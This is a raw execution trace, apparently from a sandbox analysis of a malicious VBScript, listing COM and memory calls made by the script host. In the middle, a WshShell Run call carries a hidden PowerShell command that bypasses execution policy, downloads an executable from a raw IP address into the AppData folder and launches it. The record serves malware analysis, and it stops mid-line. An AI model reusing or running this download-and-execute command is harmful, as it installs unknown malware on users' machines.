WshShell:IUnknown:Release (This=0x86bfec4) returned 0x1 [0089.243] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1549a8 | out: ppvObject=0x1549a8*=0x11977a8) returned 0x0 [0089.244] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="objShell", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=1395232) returned 0x80020006 [0089.244] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="objShell", grfdex=0x8, pid=0x15491c | out: pid=0x15491c*=-1) returned 0x80020006 [0089.244] GetCurrentThreadId () returned 0xd44 [0089.244] IUnknown:Release (This=0x11977a8) returned 0x6 [0089.244] WshShell:IUnknown:AddRef (This=0x86bfeb0) returned 0x2 [0089.245] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.245] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="tohan", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.245] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="tohan", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.245] GetCurrentThreadId () returned 0xd44 [0089.245] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.245] ??2@YAPAXI@Z () returned 0x86bff10 [0089.245] malloc (_Size=0x804) returned 0x83fc220 [0089.245] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0089.246] WshShell:IUnknown:QueryInterface (in: This=0x86bfeb0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a6c | out: ppvObject=0x154a6c*=0x0) returned 0x80004002 [0089.246] WshShell:IDispatch:GetIDsOfNames (in: This=0x86bfeb0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x154a70*="run", cNames=0x1, lcid=0x409, rgDispId=0x154a88 | out: rgDispId=0x154a88*=1000) returned 0x0 [0089.256] WshShell:IUnknown:AddRef (This=0x86bfeb0) returned 0x2 [0089.256] WshShell:IUnknown:QueryInterface (in: This=0x86bfeb0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a74 | out: ppvObject=0x154a74*=0x0) returned 0x80004002 [0089.256] WshShell:IDispatch:Invoke (in: This=0x86bfeb0, dispIdMember=1000, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x154a40*(rgvarg=([0]=0x83d6738*(varType=0xb, wReserved1=0x15, wReserved2=0x42c4, wReserved3=0x15, varVal1=0x6d00000, varVal2=0x83da080), [1]=0x83d6748*(varType=0x2, wReserved1=0x15, wReserved2=0x6788, wReserved3=0x83d, varVal1=0x6d00000, varVal2=0x8791454), [2]=0x83d6758*(varType=0x400c, wReserved1=0x6690, wReserved2=0x77ac, wReserved3=0x119, varVal1=0x87920b0*(varType=0x8, wReserved1=0x11c, wReserved2=0x4, wReserved3=0x0, varVal1="PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command \"(New-Object System.Net.WebClient).DownloadFile('httP://13.92.100.208/doc/doc.exe','%appdata%\\doc.exe');Start-Process '%appdata%\\doc.exe'\"", varVal2=0x6e8), varVal2=0x66894211)), rgdispidNamedArgs=0x0, cArgs=0x3, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x154a1c, puArgErr=0x154a60 | out: pDispParams=0x154a40*(rgvarg=([0]=0x83d6738*(varType=0xb, wReserved1=0x15, wReserved2=0x42c4, wReserved3=0x15, varVal1=0x6d00000, varVal2=0x83da080), [1]=0x83d6748*(varType=0x2, wReserved1=0x15, wReserved2=0x6788, wReserved3=0x83d, varVal1=0x6d00000, varVal2=0x8791454), [2]=0x83d6758*(varType=0x400c, wReserved1=0x6690, wReserved2=0x77ac, wReserved3=0x119, varVal1=0x87920b0*(varType=0x8, wReserved1=0x11c, wReserved2=0x4, wReserved3=0x0, varVal1="PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command \"(New-Object System.Net.WebClient).DownloadFile('httP://13.92.100.208/doc/doc.exe','%appdata%\\doc.exe');Start-Process '%appdata%\\doc.exe'\"", varVal2=0x6e8), varVal2=0x66894211)), rgdispidNamedArgs=0x0, cArgs=0x3, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x154a1c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x154a60*=0x86bfeb0) returned 0x0 [0089.575] WshShell:IUnknown:Release (This=0x86bfeb0) returned 0x1 [0089.575] ??3@YAXPAX@Z () returned 0x160001 [0089.575] free (_Block=0x1198da8) [0089.575] ??3@YAXPAX@Z () returned 0x560001 [0089.575] ??3@YAXPAX@Z () returned 0xffff0001 [0089.576] ??2@YAPAXI@Z () returned 0x86bff10 [0089.576] malloc (_Size=0x804) returned 0x83fc220 [0089.576] ??2@YAPAXI@Z () returned 0x83fa238 [0089.576] ??3@YAXPAX@Z () returned 0x2d0001 [0089.577] malloc (_Size=0x204) returned 0x844c5d0 [0089.577] ??2@YAPAXI@Z () returned 0x1129340 [0089.577] ??3@YAXPAX@Z () returned 0xffff0001 [0089.577] free (_Block=0x1197838) [0089.577] free (_Block=0x844c5d0) [0089.577] free (_Block=0x83d9df8) [0089.577] ??2@YAPAXI@Z () returned 0x86bff10 [0089.577] ??2@YAPAXI@Z () returned 0x119e138 [0089.577] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0089.577] CLSIDFromProgIDEx (in: lpszProgID="adodb.stream", lpclsid=0x1549dc | out: lpclsid=0x1549dc*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4))) returned 0x0 [0089.577] SysStringLen (param_1=0x0) returned 0x0 [0089.577] CoGetClassObject (in: rclsid=0x1549dc*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1549cc | out: ppv=0x1549cc*=0x962b2d0) returned 0x0 [0089.578] Stream:IUnknown:QueryInterface (in: This=0x962b2d0, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x1549c8 | out: ppvObject=0x1549c8*=0x0) returned 0x80004002 [0089.578] Stream:IClassFactory:CreateInstance (in: This=0x962b2d0, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1549d0 | out: ppvObject=0x1549d0*=0x962b320) returned 0x0 [0089.578] Stream:IUnknown:Release (This=0x962b2d0) returned 0x1 [0089.578] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154994 | out: ppvObject=0x154994*=0x962b350) returned 0x0 [0089.578] ??2@YAPAXI@Z () returned 0x1112b18 [0089.578] Stream:IObjectWithSite:SetSite (This=0x962b350, pUnkSite=0x1112b18) returned 0x0 [0089.578] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1548dc | out: ppvObject=0x1548dc*=0x0) returned 0x80004002 [0089.578] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1548cc | out: ppvObject=0x1548cc*=0x0) returned 0x80004002 [0089.578] DOMDocument:IUnknown:AddRef (This=0x1112b18) returned 0x2 [0089.578] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x66853000*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15492c | out: ppvObject=0x15492c*=0x0) returned 0x80004002 [0089.578] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x154928 | out: ppvObject=0x154928*=0x1112b18) returned 0x0 [0089.578] DOMDocument:IServiceProvider:QueryService (in: This=0x1112b18, guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x154950 | out: ppvObject=0x154950*=0x0) returned 0x80004002 [0089.578] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154904 | out: ppvObject=0x154904*=0x83fd368) returned 0x0 [0089.578] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x154900 | out: ppvObject=0x154900*=0x83fd378) returned 0x0 [0089.579] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x154950 | out: ppvObject=0x154950*=0x0) returned 0x80004002 [0089.579] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0089.579] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0089.579] DOMDocument:IUnknown:Release (This=0x1112b18) returned 0x2 [0089.579] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x154930 | out: ppvObject=0x154930*=0x1112b18) returned 0x0 [0089.579] DOMDocument:IServiceProvider:QueryService (in: This=0x1112b18, guidService=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154924 | out: ppvObject=0x154924*=0x0) returned 0x80004002 [0089.579] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1548fc | out: ppvObject=0x1548fc*=0x83fd368) returned 0x0 [0089.579] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1548f8 | out: ppvObject=0x1548f8*=0x83fd378) returned 0x0 [0089.579] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154924 | out: ppvObject=0x154924*=0x0) returned 0x80004002 [0089.579] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0089.579] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0089.579] DOMDocument:IUnknown:Release (This=0x1112b18) returned 0x2 [0089.579] Stream:IUnknown:Release (This=0x962b350) returned 0x1 [0089.579] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154984 | out: ppvObject=0x154984*=0x962b320) returned 0x0 [0089.579] Stream:IUnknown:AddRef (This=0x962b320) returned 0x3 [0089.579] Stream:IUnknown:Release (This=0x962b320) returned 0x2 [0089.579] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0089.579] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0089.579] ??3@YAXPAX@Z () returned 0x160001 [0089.580] ??3@YAXPAX@Z () returned 0x560001 [0089.580] ??3@YAXPAX@Z () returned 0xffff0001 [0089.580] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.580] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="aa", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.580] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="aa", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.580] GetCurrentThreadId () returned 0xd44 [0089.580] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.581] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154ce8 | out: ppvObject=0x154ce8*=0x11977a8) returned 0x0 [0089.581] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="bb", grfdex=0x8, pid=0x154d04 | out: pid=0x154d04*=1396064) returned 0x80020006 [0089.581] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="bb", grfdex=0x8, pid=0x154c5c | out: pid=0x154c5c*=-1) returned 0x80020006 [0089.581] GetCurrentThreadId () returned 0xd44 [0089.581] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.581] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.582] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="helloworld", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.582] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="helloworld", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.582] GetCurrentThreadId () returned 0xd44 [0089.582] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.582] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.582] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ssdss", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.582] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ssdss", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.582] GetCurrentThreadId () returned 0xd44 [0089.582] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.583] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.583] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="aa2", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.583] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="aa2", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.583] GetCurrentThreadId () returned 0xd44 [0089.583] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.584] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.584] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ee", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.584] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ee", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.584] GetCurrentThreadId () returned 0xd44 [0089.584] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.584] ??2@YAPAXI@Z () returned 0x86bff10 [0089.584] malloc (_Size=0x804) returned 0x83fc220 [0089.584] ??2@YAPAXI@Z () returned 0x83fa238 [0089.584] ??3@YAXPAX@Z () returned 0x2d0001 [0089.584] ??2@YAPAXI@Z () returned 0x1129340 [0089.585] ??3@YAXPAX@Z () returned 0xffff0001 [0089.585] free (_Block=0x1197838) [0089.585] free (_Block=0x844c5d0) [0089.585] free (_Block=0x83d9df8) [0089.585] ??2@YAPAXI@Z () returned 0x86bff10 [0089.585] ??2@YAPAXI@Z () returned 0x119e138 [0089.585] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0089.585] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1549a8 | out: ppvObject=0x1549a8*=0x11977a8) returned 0x0 [0089.585] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="fghfgh", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=1395232) returned 0x80020006 [0089.585] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="fghfgh", grfdex=0x8, pid=0x15491c | out: pid=0x15491c*=-1) returned 0x80020006 [0089.585] GetCurrentThreadId () returned 0xd44 [0089.585] IUnknown:Release (This=0x11977a8) returned 0x6 [0089.585] ??3@YAXPAX@Z () returned 0x160001 [0089.586] ??3@YAXPAX@Z () returned 0x560001 [0089.586] ??3@YAXPAX@Z () returned 0xffff0001 [0089.586] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.586] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="byeworld", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.586] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="byeworld", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.586] GetCurrentThreadId () returned 0xd44 [0089.586] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.587] GetCurrentThreadId () returned 0xd44 [0089.587] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0089.587] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="INTERNAL_COMMON", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0089.587] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="INTERNAL_COMMON", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0089.587] GetCurrentThreadId () returned 0xd44 [0089.587] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.587] GetCurrentThreadId () returned 0xd44 [0089.587] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0089.587] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="INTERNAL_CMD_EXE", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0089.587] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="INTERNAL_CMD_EXE", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0089.587] GetCurrentThreadId () returned 0xd44 [0089.588] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.588] GetCurrentThreadId () returned 0xd44 [0089.588] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0089.588] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="INTERNAL_COMMAND_COM", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0089.588] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="INTERNAL_COMMAND_COM", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0089.588] GetCurrentThreadId () returned 0xd44 [0089.588] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.588] DOMDocument:IUnknown:Release (This=0x1112b18) returned 0x0 [0089.588] ??3@YAXPAX@Z () returned 0x5f0001 [0089.588] GetCurrentThreadId () returned 0xd44 [0089.588] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0089.588] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BROWSE", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0089.588] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BROWSE", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0089.588] GetCurrentThreadId () returned 0xd44 [0089.588] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.589] GetCurrentThreadId () returned 0xd44 [0089.589] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0089.589] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="SEARCH", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0089.589] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="SEARCH", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0089.589] GetCurrentThreadId () returned 0xd44 [0089.589] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.589] GetCurrentThreadId () returned 0xd44 [0089.589] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0089.589] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="VCUEY3T6F78", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0089.589] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="VCUEY3T6F78", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0089.589] GetCurrentThreadId () returned 0xd44 [0089.589] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.589] GetCurrentThreadId () returned 0xd44 [0089.589] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, 